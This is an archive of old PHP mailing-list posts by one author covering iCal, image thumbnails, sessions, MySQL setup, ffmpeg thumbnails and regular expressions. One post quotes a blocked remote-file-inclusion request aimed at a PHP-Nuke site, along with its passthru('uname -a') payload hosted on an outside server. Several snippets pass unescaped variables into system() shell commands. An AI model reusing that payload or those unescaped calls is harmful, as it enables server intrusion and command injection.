[PHP] iCal Attachment Format ?

2009-06-23 Thread Jason Paschal
Hi all!

Built an appointment scheduling app, but now the client wants it to send out
an email with the appt attached in iCal format.  I've never dealt with
anything iCal before.

I searched around a bit, and know that there iCal php scripts available, but
I don't need a bunch of rigamarole, just need to create the attachment and
send it on the fly.

But I'm having trouble finding the format.  Anyone know what this looks
like?  Or can point me to a resource?

Rather not scrounge thru someone else's code, or have to install something
just to run it for the format...if I can help it. :)

Thank you,

Jason


[PHP] com_event_sink question

2009-01-10 Thread Jason Paschal
Hello all,

Can i just create a function for the particular event i want to respond to?
Or do all possible events have to be dealt with in your class?

If I just make the function for the one event I want to respond to, will the
COM's other events stay intact?

Thank you,
Jason


Re: [PHP] Image Resizing

2008-12-21 Thread Jason Paschal
i use imageMagick:

?php

$image_path = ../images/myimage.jpg;   //path to the image from my
script
$thumb_path = ../thumbnails/mymage.jpg;//path to where i want the
thumbnail to be created

$width = 100; //greatest allowed width for my thumbnails
$height = 100; //greatest allowed height for my thumbnails

//make the thumbnail
//imageMagick will automatically adjust for aspect ratio with this command
line
//however, if you want to force a thumbnail to the preset dimensions,
//put an exclamation point after $height

//http://www.imagemagick.org/Magick++/Geometry.html

$command_line = convert -geometry $width . x . $height $image_path
$thumb_path;

system($command_line, $return_var);

if ($return_var == 1) {

echo Thumbnail creation failed! :(;

} else {

echo Thumbnail created. :) a href='$thumb_path' target='_blank'View
Thumbnail FFS/a;

}

?

if you run into problems, and assuming imageMagick was successfully
installed:

- make sure you have write permission for where you want the thumbnail to be
created

- try replacing convert with the full path to the convert app.
e.g.
 $command_line = /usr/bin/convert -geometry etc;

- run the script from the command line.  ssh in to your script's directory
and try typing this:

 php thumbscript.php

   you'll see verbose messages to help you pinpoint the problem. depending
on your setup, you might have to put in the full path to php

- if you're still stuck, try putting in this line:

   ?php
   ini_set(display_errors,1);

information like this would have saved me hours of my life




On Sun, Dec 21, 2008 at 3:54 AM, Kevin Waterson ke...@phpro.org wrote:

 This one time, at band camp, Stephen Alistoun stephenalist...@gmail.com
 wrote:


  I want all the images to resize to 100px width but the height adjusts
  automatically.


 Two ways, GD or Imagick

 http://www.phpro.org/examples/GD-Thumbnail-Based-On-Image-Type.html

 http://www.phpro.org/tutorials/Imagick.html#4

 Kevin

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php




-- 
Crunchmutt Studios
Latest News Headlines: http://www.rssvideonews.com
http://www.imagepoop.com
http://www.crunchmutt.com
http://www.deadjoe.com
http://www.dailymedication.com
http://www.extremesportclips.com
http://www.coolanimalclips.com
http://www.robotclips.com
http://www.newsfinger.com
http://www.postyourimage.com
http://www.nakedalarmclock.com


Re: [PHP] Passing var from one page to itself

2008-12-21 Thread Jason Paschal
also, you can store info in hidden form fields.  on the 2nd page, populate
the hidden fields with the data from the first page.  when that form is
submitted, the hidden field values will get submitted as well.

that's not ideal, tho.  if you have validation in place between the first
and second pages, that could be obviated if someone who knew some stuff
changed the hidden field values before it gets sent to the 3rd page.

you could do the session vars as the previous person suggested, but if you
have a lot of data to store, you might want to consider putting it into a
database using the session_id as the identifier.

On Sun, Dec 21, 2008 at 3:10 AM, kspal i...@kspal.com wrote:

 hello,
 you can use session to store your variables between pages.



 Aslan a écrit :

  Hey there,

 I have a problem where I have a simple -script that I am  wanting to pass
 back to itself three times
 1) Symptoms -  2) Troubleshooting questions 3) Answer to problem

 The page is passing the vars from the first page to the second, but the
 first pages vars are not passed to the third (but the second page is)

 I am using includes for each sectional page and passing it back to
 itself

   if($submitted == )
   {
include 'inc/tshoot2-input.php';
   }
   if($submitted == symptoms)
   {
include 'inc/tshoot2-symptoms.php'; }
   if($submitted == submitted)
   {
include 'inc/answers.php';   }

 The tool will ultimately be on www.adslgeek.com/troubleshooter/

 I have it currently all on one page, but it isn't quite what I was after
 ..
 Any help would be appreciated!

 Cheers
 ADSL Geek


 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php




-- 
Crunchmutt Studios
Latest News Headlines: http://www.rssvideonews.com
http://www.imagepoop.com
http://www.crunchmutt.com
http://www.deadjoe.com
http://www.dailymedication.com
http://www.extremesportclips.com
http://www.coolanimalclips.com
http://www.robotclips.com
http://www.newsfinger.com
http://www.postyourimage.com
http://www.nakedalarmclock.com


[PHP] Copy Network Share W/ Diff. Creds To Local Folder?

2008-02-21 Thread Jason Paschal
I'm building a web app on a windows server for a company.
an aspect of that requires grabbing a sound file from a network share, which
i attempted with a windows copy command via exec(), but PHP needs to be able
to pass the authentication credentials.

runas requires password interactivity, and i've looked at runasspc but that
costs for commercial use and was hoping to avoid it if possible.

is there a way to finesse runas with PHP?  some trick to get PHP to offer
the password?

or is there some other clever way to make this happen?

Thank you,
Jason


Re: [PHP] Digital Downloads and Scale

2008-01-20 Thread Jason Paschal
this may be common knowledge, but a simple thing for databases that
decreased my query time was making sure that you have indices on those
fields you use in your SQL.  made a world of difference for me.

On Jan 20, 2008 2:57 PM, dg [EMAIL PROTECTED] wrote:

 Hello everyone,

 I'd appreciate any insights, or source suggestions regarding site
 traffic and necessary adjustments.

 For example, I'm using a simple digital download page for an indie
 artist.  Not a ton of traffic, not a ton of concurrent requests.

 Was thinking about introducing something similar for a bigger
 artist(though still not huge) and I'm concerned for any trouble more
 demand might create.  On the web server side, I'm not worried, as it's
 on a Pair high volume account.

 I am concerned where I might need back-ups or adjustments to code and
 database queries. Not quite sure where to start in researching this -
 any ideas or keywords would be appreciated.

 Thanks,
 -dg

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php




-- 
Crunchmutt Studios
Latest News Headlines: http://www.rssvideonews.com
http://www.crunchmutt.com
http://www.deadjoe.com
http://www.dailymedication.com
http://www.extremesportclips.com
http://www.coolanimalclips.com
http://www.robotclips.com
http://www.newsfinger.com
http://www.postyourimage.com
http://www.nakedalarmclock.com


[PHP] PHP/MySQL CMS for Articles/Studies/Research Papers?

2007-10-19 Thread Jason Paschal
One of my clients is a veterinarian who performs research on the side.  He
wants to be able to post his papers online and let ppl comment and have
discussions.  he's not just a dabbler.  the university of georgia is
(was?) conducting clinical trials for his parvo cure that has already saved
hundreds of animals from certain death.

Caveats:
- he has no HTML knowledge, so something with a rich-text editor is a must.
- the simpler the interface, the better (For God's sake, Jim, I'm a vet, not
a web developer!)
- he's on a managed server, has to be something we can upload via ftp
- wants to be able to include images in his posts
- free is better

right now, he's using PHP-nuke, but he's not very keen on it, nor am i.

drupal is a possibility with the image and rich-text modules, but it can get
messy for someone whose web mastery extends to sending emails (consider
drupal's taxonomy system.  at the most, he might just want to make a new
category and be done with it and not get confounded with parent/child
relationships and their weights).

he has a blog, but that is going to be used for dealing with particular
cases.  the CMS site will be used for the big articles and papers.

the CMS should be blog-like in nature, and we may end up just creating
another blogspot blog for him to use (connected via FTP publishing).

just wanted to know if any of you have seen anything geared for this sort of
content, something professional-looking that doesn't come with a huge
learning curve.  it wouldn't have to be TOO fancy, i could probably make
something, but didn't want to re-invent the round-thing-that-rolls.

thank you,

~jason



-- 
Crunchmutt Studios
Latest News Headlines: http://www.rssvideonews.com
http://www.crunchmutt.com
http://www.deadjoe.com
http://www.dailymedication.com
http://www.extremesportclips.com
http://www.coolanimalclips.com
http://www.robotclips.com
http://www.newsfinger.com
http://www.postyourimage.com
http://www.nakedalarmclock.com


[PHP] Connect PHP to Remote SQL Server?

2007-10-05 Thread Jason Paschal
Apache and PHP 4.3.9 are on a *nix server and we don't have root access,
HOWEVER we can have the tech support perform pretty much any action except
re-compile PHP (for which they charge), but I'm hoping i could dynamically
load extensions during run-time.  I just need to know which extensions.

PHP has been compiled with unixODBC and dbx (there is no mssql extension on
the server).  These look like likely tools for a SQL server connection, but
nothing works.  I can't find anything about unixODBC in relation to PHP,
unless FreeTDS is mentioned as well.

I tried loading odbc.so during runtime, but it can't be found.  Same for
mssql.so.  Should we add these files to the extensions dir for use with
dl()?  Should we install FreeTDS?  Should we do both?

How can we do this without recompiling PHP?

I have the remote SQL server IP, the port number, the username and the
password.  The web server IP has been added to the allow list for the SQL
Server.

Any advice will be welcome.  Thanks in advance!

Leaning on the PHP list,
Jason


[PHP] PHP 5.2.2 - Undefined Function mysql_connect()

2007-05-07 Thread Jason Paschal

I use this setup locally for testing/playing.  I recently installed the
latest and greatest of the AMP collection.

Apache 2.2.4
PHP 5.2.2
MySQL 5.0.37

Apache and PHP work fine together, but I wanted to hook it up to a local
test database, so  I installed MySQL.

In php.ini, i have:

; Directory in which the loadable extensions (modules) reside.
extension_dir = C:\PHP

i made sure that i moved the dll to that folder, just like i did with the gd
dll.

And then i uncommented this line:

extension=php_mysql.dll

I restarted Apache, and ran a simple test script:

?php
ini_set(display_errors,1);
$cn = mysql_connect(localhost,root,password);
?

and I get the error:

*Fatal error*: Call to undefined function mysql_connect()

any ideas?

thanks in advance,
jason


[PHP] Solution For Undefined Function mysql_connect()

2007-05-07 Thread Jason Paschal

SOLUTION FOUND!

i copied libmysql.dll and php_mysql.dll to my c:\windows\ folder

suddenly my script connects.  that's all it took.

my extension directory is set to C:\PHP in php.ini, but for some reason,
placing the dlls in
the windows folder did the trick.  i searched httpd.conf and php.ini for
WINDOWS and did not find
a reference, but it works.

thank you for taking the time to help.  maybe this info can help you or

someone you know.


On 5/7/07, Richard Lynch [EMAIL PROTECTED] wrote:


Compare what ?php phpinfo();? says is REALLY your extension dir with
what you think is your extension dir...

On Mon, May 7, 2007 6:12 am, Jason Paschal wrote:
 I use this setup locally for testing/playing.  I recently installed
 the
 latest and greatest of the AMP collection.

 Apache 2.2.4
 PHP 5.2.2
 MySQL 5.0.37

 Apache and PHP work fine together, but I wanted to hook it up to a
 local
 test database, so  I installed MySQL.

 In php.ini, i have:

 ; Directory in which the loadable extensions (modules) reside.
 extension_dir = C:\PHP

 i made sure that i moved the dll to that folder, just like i did with
 the gd
 dll.

 And then i uncommented this line:

 extension=php_mysql.dll

 I restarted Apache, and ran a simple test script:

 ?php
 ini_set(display_errors,1);
 $cn = mysql_connect(localhost,root,password);
 ?

 and I get the error:

 *Fatal error*: Call to undefined function mysql_connect()

 any ideas?

 thanks in advance,
 jason



--
Some people have a gift link here.
Know what I want?
I want you to buy a CD from some indie artist.
http://cdbaby.com/browse/from/lynch
Yeah, I get a buck. So?





--
Crunchmutt Studios
Latest News Headlines: http://www.rssvideonews.com
http://www.crunchmutt.com
http://www.deadjoe.com
http://www.dailymedication.com
http://www.extremesportclips.com
http://www.coolanimalclips.com
http://www.robotclips.com
http://www.newsfinger.com
http://www.postyourimage.com
http://www.nakedalarmclock.com


[PHP] Temporary Emails - Your Recommendations - An Appeal to the PHP Community

2007-01-01 Thread Jason Paschal

i realize this isn't the appropriate mailing list and i risk being
black-listed (flame, defamed, ignored, etc.).

i occasionally use temporary emails when registering for forums or to get
some shareware (we've all done it, don't give me that look, i have given
what i could, when i could) and while i like the way mytrashmail.com works,
i don't like having mytrashmail.com as part of the temp addy.

does anyone know of a similar service that uses a more enticing domain?

thank you,
jason


[PHP] PHP - grabbing a thumb from FLV's (function)

2006-12-11 Thread Jason Paschal

i wanted to get my server to grab a thumbnail (video capture) of an FLV
using PHP, and ffmpeg-php is not an option (at the moment, can't spare the
possible downtime, many money-making sites involved).

i installed ffmpeg.  Fedora Core 4 users try this:

yum install ffmpeg

I went a more circuitous route and installed Subversion (SVN) (google it),
THEN installed ffmpeg using the link on their download page.  (get it,
configure it, make it)

Then, like i do with imageMagick, i use a system() call to ffmpeg.

NOTE: (i had to put the full path to ffmpeg (usr/local/bin/ffmpeg) in my
system call, this messed me up for a bit)

here's my impromptu function (have to pass the FLV file, width, height,
hour, min, sec, append (any value you want to put on the end of the
resulting jpg's filename)):

function
flvThumb($file,$width=50,$height=50,$hour=00,$min=00,$sec=01,$append) {
if ($append == ) {
 $append = time();
}

if ($file ==  or !is_file($file)) {
 return false;
}

$width = eregi_replace([^0-9],,$width);
$height = eregi_replace([^0-9],,$height);

if ($width == ) {
 $width = 50;
}
if ($height == ) {
 $height = 50;
}

$hour = eregi_replace([^0-9],,$hour);
$min = eregi_replace([^0-9],,$min);
$sec = eregi_replace([^0-9],,$sec);

if (strlen($hour) == 1) {
 $hour = 0 . $hour;
}
if (strlen($min) == 1) {
 $min = 0 . $min;
}
if (strlen($sec) == 1) {
 $sec = 0 . $sec;
}

$try = explode(.,$file);
$ext = array_pop($try);
$desig = implode(.,$try);
$thumbname = $desig . _ . $append . . . jpg;

$varmake = @system(/usr/local/bin/ffmpeg -i $file -vcodec png -vframes 1
-an -f rawvideo -s  . $width . x . $height .  -ss  . $hour . : .
$min . : . $sec .  -y  . $thumbname,$retval);
$tmp = @stat($thumbname);
if ($tmp['size'] == 0) {
 @unlink($thumbname);
 return false;
}
if ($retval != 0) {
 return false;
} else {
 return $thumbname;
}

}
if it returns anything but false, you may have a problem.  of course, the
problem may be with the function and application.

i know that improvements can be made, but i wish i had seen this before i
started trying to figure everything out.  i like having a starting point.
(i'm sending this to my gmail for my 'reference archive')

HOPE THIS HELPS SOMEONE
(plz don't burn me)

1337 c0d1ng 2 a11,  2 a11 @ g00d n173,
mellomutt

p.s. it only just now strikes me that many other video formats can be
thumbnailed.  mpg, wmv, mov, avi, etc   this really changes the way i'm
thinking about my sites.  i was using a desktop client to make thumbnails,
and it's a good one, but to have ur server do it for you...that just makes
it that much easier to add content, and thusly, that much more likely for me
to add content because i'm a lazy wanker.


[PHP] Job Recruitment and Support Ticketing Appz

2005-02-04 Thread Jason Paschal
A friend of mine is looking for one each of the following web appz:

1) Job Recruitment
A bundle of scripts that will allow someone to manage job listings and
accept applications online.

2) Online Support Ticketing 
Users submit issues, and they are resolved by the support team. 
Resolutions may be shared in a searchable knowledgebase.

Anyone know of any solid PHP projects that deal with these issues? 
Just didn't want to reinvent the wheel.

Thank you,
Jason

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Parse Flash File for URLs

2004-12-23 Thread Jason Paschal
how might i accomplish this?  phpAds does this when a flash banner is
uploaded, and asks if you want to change the URLs it finds.  instead
of being diligent and scouring the phpAds code for what I'm looking
for, was hoping someone out there could offer some tips, suggestions,
pseudo-code, etc for how this could be done.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Current URL?

2004-11-12 Thread Jason Paschal
Trying to get the current viewed page's URL (query string intact).

this works, but infrequently:

$url = $_SERVER['URI']; 

and this ignores the query string:

$url = $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];

I'm certain there's a way,  that is browser-independent,  to get your
script to grab the current URL (even if the script is an include).

i'm just trying to get a log of users currently online, and which page
they are viewing, and while the $_SERVER['REMOTE_ADDR'] will
invariably grab the IP, $_SERVER['URI'] is often empty.

i welcome any and all suggestions.

thank you,
~jmp

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Hacker IP and Script

2004-09-26 Thread Jason Paschal
This is of questionable relevance, but I'm sure it can serve to
heighten awareness of vulnerabilities for those PHP'ers with similar
scripts that involve loading files based upon query string info.

We have installed Admin Secure over our PHP-Nuke CMS, and Admin Secure
recently sent us an email of a thwarted hacking attempt:


Admin Secure detecting invalid file inclusion passed to index.php or
modules.php files. This could be possible cross-site scripting (XSS)
hack attempt to your site.  For security reason, this attempt has been
blocked by Admin Secure to protect your website. Admin Secure has been
collecting the following information:

- Date: 26 September 2004, 01:05
- IP Address: 193.150.170.160
- User-agent: curl/7.9.5 (i586-pc-linux-gnu) libcurl 7.9.5 (ipv6 enabled)
- Request: 
/modules.php?name=http://193.150.170.160/4do4sjr?sa=http://193.150.170.160/4do4sjr?year=http://193.150.170.160/4do4sjr?month=http://193.150.170.160/4do4sjr?month_l=http://193.150.170.160/4do4sjr?
- Variable: $name = http://193.150.170.160/4do4sjr?

Whois Information.
---

The link he was trying to get our scripts to load,
http://193.150.170.160/4do4sjr? , displays this:

?php echo \nbl3; echo bl3 ; passthru(uname -a 21); ?

Which would, from what I've read about the uname command, give him
info about our web server, and from there he would have an idea of
which vulnerabilities to exploit.



What would you guys do with the attack information (IP, WHOIS)?  Send
a detailed email to the addresses listed in the WHOIS records?  I'm
not sweating it, just curious.

Thank you,
~Jason

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Secret Codes in Spam and PHP

2004-09-16 Thread Jason Paschal
didn't realize how much i've been waiting for this post until you sent
it.  of course, the replies are correct.  they're avoiding the spam
filters.  however, i also read 'thongs' instead of 'thugs'.  good to
know you're not alone.

however, might be an interesting project.  just to see what you come
up with...i supsect the illuminati.  they've infiltrated the most
powerful groups on the planet...it stands to reason that they're
inside the PHP community.


On Thu, 16 Sep 2004 15:14:14 -0500, Kristopher Spencer-Yates
[EMAIL PROTECTED] wrote:
 As many of you may have noticed, A friend and I have noticed the odd
 text at the bottom of spam.  My friend once stated What if this is some
 secret code.. they send it to everyone to hide that it is code.. but the
 person it is intended for knows how to decipher?   Hmm.. interesting.
 So that got me to coding.. I havent had much time to tinker but I do
 have some Fred Wrixon books.. anyway overall just getting started on
 this off-time project.  If this strange text at bottom of spam is indeed
 some ciphertext, they are probably using some old cipher methods.  This
 thought is based simply on comparing known cipher appearance to that of
 the text in spam and often seeing some similarities.
 
 I was wondering if anyone else has wondered the same thing about the
 wierd text at the bottom of a lot of the spam, and if anyone has ever
 used PHP to create any cipher tools in an attempt to crack the following:
 
 Columnar Transposition ciphers
 Word transposition ciphers
 Franklin-Dumas cipher
 
 My first round is creating a script that goes through and takes various
 combinations (1st letter of each word, 3rd letter of every 3rd word,
 etc., etc., etc.,)  I guess this is considered letter transposition
 ciphering.  I have some vague ideas to incorporate dictionary database..
 so if my script attempts to decrypt a peice of text with method 402
 and the result contains actual words from a dictionary, it will flag it
 or save it to a seperate database.. something along those lines.
 
 This is just for fun... no one is sponsoring/financing anything here..
 just wondering if anyone is interested in sharing ideas and/or code,
 philosophy, etc.  Of course, this could be done in any language, or even
 on paper... I can burn a ream of notebook paper fast doing double
 columnar by hand but my interest is using PHP specifically.   I figure,
 even if my friend is just crazy and no one is sending secret messages
 inside spam, it is at least going to be fun, rewarding in knowledge and
 the sharing of information and ideas.  And if we do crack something,
 maybe Fred Wrixon can mention PHP in his next book.  :)
 
 Kris
 
 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php
 


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Validating Dynamic Checkboxes

2004-08-07 Thread Jason Paschal
methinks you are looking for a javascript mailing list.  i only post this to 
the forum because you posted your reply here as well, and i wanted to save 
face in front of my PHP comrades.

the js code you sent back failed to reflect any of the significant changes i 
suggested.

this is what you put:
SCRIPT language=JavaScript
function validate() {
if (!(?php print $jscondition; ?)) {
alert('Please check at least one edit checkbox before submitting this 
form.');
return false;
}
}
/SCRIPT

but that cannot work.  you have it so that an alert will trigger if an item 
is checked, but that is when you want the form to be submitted, and an alert 
to be triggered otherwise.

first, make sure that your submit button is not an actual submit button, but 
a regular button that triggers an onClick event, like thus:

input type='button' onClick='validate()' name='submit' value='Submit'
then have ur js function work like this:  (i may not have coded everything 
exactly as you needed it, only made it as a model, you'll have to extract 
the logic and modify it for your needs):

SCRIPT language=JavaScript
function validate() {
if (!(?php print $jscondition; ?)) {
  document.getElementById('mainform').submit();
} else {
 alert(Please check at least one item.);
   }
}
/SCRIPT
i tested a simple model locally and it worked fine.  if you wish to continue 
this thread, i'll be glad to assist, but let's keep it out of the mailing 
list until we hit on something that is directly related to PHP.

good luck,
j
note:  netscape doesn't always work right with JS, sometimes working 
contrary to the very language they invented.  i tested the code with myIE2.

---
http://www.dailymedication.com  -  Everything you didn't know you needed 
until you went there and said to yourself, What did I do before I visited 
DailyMedication.com? and another part of you answered, It does not matter. 
 You are here now.



From: Albert Padley [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Subject: Re: [PHP] Validating Dynamic Checkboxes
Date: Sat, 7 Aug 2004 00:25:38 -0600
Jason,
You lost me on this go around. I don't understand how we got from the 
following function to your new verson:

//loop through records
$id = $row['id'];
$counter++;
if ($counter  1) {
$jscondition .=  || document.getElementById('ed . $id . 
').checked;
 } else {
   $jscondition .= document.getElementById('ed . $id . ').checked;
}
}
?

SCRIPT language=JavaScript
 function validate() {
if (!(?php print $jscondition; ?)) {
 alert('Please check at least one edit checkbox before submitting this 
form.');
 return false;
 }
 }
 /SCRIPT

Remember that the above works insofar as it throws up the javascript alert, 
but then submits the form anyway. I don't see how your new function 
incorporates the loop to build $jscondition.

Thanks for any further input. I think I need to get some sleep.
Albert Padley
On Aug 6, 2004, at 11:39 PM, Jason Paschal wrote:
make ur submit button a regular button with an onClick event trigger:
input name=button type=button id=button onClick='validate()' 
value=Submit

then make ur javascript submit the form if conditions are true. otherwise 
it gives an alert:

script language=JavaScript
function validate() {
if (document.getElementById('ed2').checked) {
document.getElementById('myform').submit();
} else {
alert(check something.);
}
}
/script

---
http://www.dailymedication.com  -  Everything you didn't know you needed 
until you went there and said to yourself, What did I do before I visited 
DailyMedication.com? and another part of you answered, It does not 
matter.  You are here now.



From: Albert Padley [EMAIL PROTECTED]
To: Jason Paschal [EMAIL PROTECTED]
Subject: Re: [PHP] Validating Dynamic Checkboxes
Date: Fri, 6 Aug 2004 23:27:29 -0600
We are very close. I now get the javascript alert when I don't check any 
of the checkboxes. However, as soon as I click the OK button in the 
alert, the results page is returned.

Albert Padley
On Aug 6, 2004, at 10:55 PM, Jason Paschal wrote:
i read the other guy's bit.  he may be referring to how you identify the 
elements.  and that could be related to the same validation trouble 
you're still having.

i've had to do similar stuff, but it wasn't exactly the same.  however, 
i had to give a an id different from the name of the element.

input type='checkbox' name='ed[2]' id='ed2'
and in ur javascript:

 if ($counter  1) {
$jscondition .=  || document.getElementById('ed . $id . 
').checked;
 } else {
   $jscondition .= document.getElementById('ed . $id . 
').checked;


---
http://www.dailymedication.com  -  Everything you didn't know you needed 
until you went there and said to yourself, What did I do before I 
visited DailyMedication.com? and another part of you answered, It does 
not matter.  You

[PHP] Something like strip_tags?

2004-07-04 Thread Jason Paschal
i'd like to be able to strip only one type of HTML tag from a web document 
(a), but to do that with strip_tags(), i'd have to predict every possible 
HTML tag that might be used, except for the one i want to strip, and put 
those in the allowable tags parameter.

That's why I was hoping someone knew of a better way to accomplish this.  
Any suggestions are welcome.

Thanks in advance,
~j
---
http://www.dailymedication.com  -  Everything you didn't know you needed 
until you went there and said to yourself, What did I do before I visited 
DailyMedication.com? and another part of you said, It does not matter.

_
Express yourself instantly with MSN Messenger! Download today - it's FREE! 
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Reference Scripts: Imaging Database, Recursion, Age Validation, Reg Ex

2004-07-02 Thread Jason Paschal
Some things crop up while coding that I do not often use, so that I tend to 
forget the proper way to handle them and end up researching it and going 
through the same inoperable code again and again until I end up with 
something that works.

Finally decided to host the code on my site and thought someone else might 
benefit from it.

Storing Images in MySQL and Displaying them with PHP:
http://www.dailymedication.com/modules.php?name=Forumsfile=viewtopict=15
Recursion (Word Permutations/Jumble):
http://www.dailymedication.com/modules.php?name=Forumsfile=viewtopict=11
Age Validation (Determine Age from Birthdate):
http://www.dailymedication.com/modules.php?name=Forumsfile=viewtopict=14
Regular Expressions (Finding links in Web Code/ Gallery Image Ripper):
http://www.dailymedication.com/modules.php?name=Forumsfile=viewtopict=13
They all have working demos except for the Imaging Database stuff.  Hope 
these can help somebody.  Plan to be adding more soon.

_
MSN Life Events gives you the tips and tools to handle the turning points in 
your life. http://lifeevents.msn.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Display HTML/PHP code on a web page

2003-07-16 Thread Jason Paschal
I've googled for it, but nothing came up.  How do I display code on a page 
without it being executed?
i want the page to display HTML code as it would look if you typed it into 
an editor (not encoded), and the code I want to display is being spit out by 
PHP.  Which functions should i look at?  i can get it to display with 
urlencode, but, of course, it's encoded.
Thank you,
Jason

P.S. a bit more info:
I'm pulling a file from my site like this:  $file = 
file(http:///file.php;);
it works fine, but i want to be able to print out lines that meet a certain 
criteria, and that includes any of the html source that comes along with it.
however, the the search script tries to execute the lines instead of 
displaying them.
i don't want to write this to a file and then display as this is for admin 
purposes and i want to be able to do quick scans from a browser, and i want 
the matches to display underneath the search form, which I can do, but I 
make a note of it because the page still has to react as an html page (form 
submission).
this make any sense?

_
The new MSN 8: advanced junk mail protection and 2 months FREE*  
http://join.msn.com/?page=features/junkmail

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Session Vars

2003-06-18 Thread Jason Paschal
setting up some pages to allow users to log in, and store their userID in a 
session var.
for development purposes, i've installed AMP on my windows box.

-everything parses fine
-register globals is on.
problem: session vars do not seem to be carrying over pages, even when i set 
the session_id to initial value.

i start the session and save the variable:

session_start();

$PHPSESSID=session_id();

$_SESSION['userID'] = $userID; //i've checked and $userID DOES contain a 
value: 1
//If i echo $_SESSION['userID']; then it prints 1.

header(Location: nextpage.php?PHPSESSID=$PHPSESSID);

exit;

on nextpage.php:

session_start();

session_id($PHPSESSID);

echo $PHPSESSID; //the session id is printed

echo br;

echo $userID; //nothing is printed

echo $_SESSION['userID'];  // nothing is printed

Is it something with the ini file?

Thanks in advance!
Jason P.
_
Protect your PC - get McAfee.com VirusScan Online  
http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] General question...

2003-06-12 Thread Jason Paschal
ppl, you're missing the point.  you keep re-stating his problem.  he knows 
it's not good to make the 3rd party gateway so obvious.  he's looking for a 
way to make it transparent, so it looks like it's actually part of his site.

i think there should be a way to do it.  maybe use the fsock stuff to pass 
the data (security is an issue, and i'm not familiar with the fsock 
functions much less how they'd be affected if you in a secure section of 
your site).

good luck.

From: Valentin [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Subject: [PHP] General question...
Date: Thu, 12 Jun 2003 15:53:39 +0200
hi all,

is it possible with php:
first to pass request to another URL and after that to get the html 
responce
as a string and put it into php $variable?

best,



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
_
MSN 8 with e-mail virus protection service: 2 months FREE*  
http://join.msn.com/?page=features/virus

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] zip code validation/regular expression

2003-06-03 Thread Jason Paschal
Simply trying to use regular expressions to validate a 5 or 5+4 zip code, 
excluding 0 and 0-.  Looked on http://www.regexlib.com, and 
that's where I found the pattern below, but it doesn't work.  The best I can 
do on my own is two separate regular expressions, one to match a valid zip, 
and another to match the 0 invalid code.  I would really like to 
condense it into one, just because I think it should be possible.
This code below is suppose to do all this for me, but it's not matching as 
I'd hoped.  I get results like this:

21832-1234 MATCHES.
0- MATCHES.
0 MATCHES.
1234 doesn't match.
ABCDEF doesn't match.
ABC doesn't match.
I'd appreciate any help.  Thanks,
jason
?php

$regex1 = /^(\?(^0(|-))|(\d{5}(|-\d{4})))$/;

$zips = 
array(21243,21832-1234,0-,0,1234,ABCDEF,ABC);

foreach ($zips as $zip) {
if (preg_match($regex1,$zip)) {
echo $zip MATCHES.br;
} else {
echo $zip doesn't match.br;
}
}
?

_
MSN 8 helps eliminate e-mail viruses. Get 2 months FREE*.  
http://join.msn.com/?page=features/virus

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] help with preg_replace please

2003-03-25 Thread Jason Paschal
what that guy said, or use ereg_replace instead of preg_...





From: Jason Wong [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Subject: Re: [PHP] help with preg_replace please
Date: Wed, 26 Mar 2003 14:08:44 +0800
On Wednesday 26 March 2003 13:59, Justin French wrote:

 Parse error: parse error, expecting `T_VARIABLE' or `'$'' in
 /usr/local/apache/htdocs/lib/lib_string.inc on line 218

 Using this code:
 $str =
 preg_replace(!([[:alnum:]]+)://([^[:space:]]*)([[:alnum:]#?/=])!ei, 
a
 href=\{$1}://{$2}{$3}\{$2}{$3}/a, $str);

You seem to be using ereg syntax in a PCRE function! Replace them with 
their
proper PCRE counterparts.

Eg to match alphanumeric:

 [0-9|a-z|A-Z]  // off the top of my head, untested

etc.

--
Jason Wong - Gremlins Associates - www.gremlins.biz
Open Source Software Systems Integrators
* Web Design  Hosting * Internet  Intranet Applications Development *
--
Search the list archives before you post
http://marc.theaimsgroup.com/?l=php-general
--
/*
Real Users never know what they want, but they always know when your 
program
doesn't deliver it.
*/

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


_
Add photos to your e-mail with MSN 8. Get 2 months FREE*.  
http://join.msn.com/?page=features/featuredemail

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] querying for values inside range

2003-03-18 Thread Jason Paschal
this is an sql syntax question and i know it's not appropriate for this 
mailing list, but i didn't want to subscribe to another mailing list for 
something i think one of you might be able help me with.  thank you for your 
patience.

i'm building a site utilizing PHP/MySQL.  i'm querying a table to find 
records where a field lies within a certain range.

$age1 = 20;
$age2 = 30;
$sql = select * from table where age=$age1 and age=$age2;
is there another way to write this query?  i'm going to be building the sql 
